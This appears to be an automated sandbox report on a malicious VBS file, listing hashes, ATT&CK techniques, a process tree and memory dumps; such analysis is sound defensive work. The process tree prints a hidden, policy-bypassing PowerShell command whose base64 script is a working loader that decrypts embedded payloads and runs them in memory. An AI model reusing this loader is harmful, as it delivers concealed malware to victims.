dbfe1e570510947bc6faaecfb3c84ea248e7bd8da1a54a4a669b64c00dc3b54c

General

Target

dbfe1e570510947bc6faaecfb3c84ea248e7bd8da1a54a4a669b64c00dc3b54c.vbs
Size

72KB
MD5

680c4f499e1b3ce5242349c3b7e5eb4f
SHA1

2cabfc9124e28bade1772972866510c9c4442d18
SHA256

dbfe1e570510947bc6faaecfb3c84ea248e7bd8da1a54a4a669b64c00dc3b54c
SHA512

ce82cb6470d4afc4070ca663159aa12c1a548e503d20eaa773e307ec8539d3ced7cab0f53f14f1f001d6443f1900376a1ce0512e637f2220a1e2c76e50ce3591
SSDEEP

1536:5lMsUJ3S4mY8I9tSstS3z8e9IEnHDc9EFMLSEGgcX4XTA66MrhM:5asUJ3SrI9tSskj8e+EHY9Bfja

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2656	2900	WScript.exe	30
PID 2900 wrote to memory of 2656	2900	WScript.exe	30
PID 2900 wrote to memory of 2656	2900	WScript.exe	30
PID 2656 wrote to memory of 2660	2656	cmd.exe	32
PID 2656 wrote to memory of 2660	2656	cmd.exe	32
PID 2656 wrote to memory of 2660	2656	cmd.exe	32
PID 2660 wrote to memory of 2368	2660	cmd.exe	34
PID 2660 wrote to memory of 2368	2660	cmd.exe	34
PID 2660 wrote to memory of 2368	2660	cmd.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dbfe1e570510947bc6faaecfb3c84ea248e7bd8da1a54a4a669b64c00dc3b54c.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\eQBX85qr.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\eQBX85qr.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaHZ1bmIgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGh2dW5iKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRodnVuYiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRodnVuYiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaHZ1bmIiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamdiYnIoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0Z4Z2t5eG9NYVUvay85WTlYMEJVY3R3aFRHdFJSbTk0UG5PODlrSkNRTkU9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJzgvTzJZNDVLalI0ajUwdWRrbGJTUEE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24geHN0Z3coJHBhcmFtX3Zhcil7CSR4ZnN5Yj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkaHh2cW89TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdXFvenQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeGZzeWIsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHVxb3p0LkNvcHlUbygkaHh2cW8pOwkkdXFvenQuRGlzcG9zZSgpOwkkeGZzeWIuRGlzcG9zZSgpOwkkaHh2cW8uRGlzcG9zZSgpOwkkaHh2cW8uVG9BcnJheSgpO31mdW5jdGlvbiBva2N1YigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHBnZG92PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGF2dXRzPSRwZ2Rvdi5FbnRyeVBvaW50OwkkYXZ1dHMuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGh2dW5iOyR6amViZT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGh2dW5iKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgka2JrIGluICR6amViZSkgewlpZiAoJGtiay5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG9raWhkPSRrYmsuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHljaGZuPVtzdHJpbmdbXV0kb2tpaGQuU3BsaXQoJ1wnKTskbWd5YWs9eHN0Z3cgKGpnYmJyIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHljaGZuWzBdKSkpOyRvc3dnbj14c3RndyAoamdiYnIgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkeWNoZm5bMV0pKSk7b2tjdWIgJG1neWFrICRudWxsO29rY3ViICRvc3dnbiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\eQBX85qr.bat

Filesize
64KB

MD5
d9b19524f7b0099121d1375111e52267

SHA1
67cbe83c3b1d8f7585e6df97493c79e9965c3214

SHA256
029dbef3752d45f4966caaaff29fba3edfdab5f9b3f51faffa019b7c4ccce3e1

SHA512
7d0f40228e371a9b84a83501e6af571979b3b84ed19c38f2b0fbe69e2d37c44aa86b9edad61493f8be65c6c0bc60e27f721dc9d771f68f770ad38adfa18f1324

Download Submit
memory/2368-15-0x000007FEF544E000-0x000007FEF544F000-memory.dmp

Filesize
4KB

Download
memory/2368-16-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2368-17-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2368-18-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-19-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-20-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-21-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-22-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-23-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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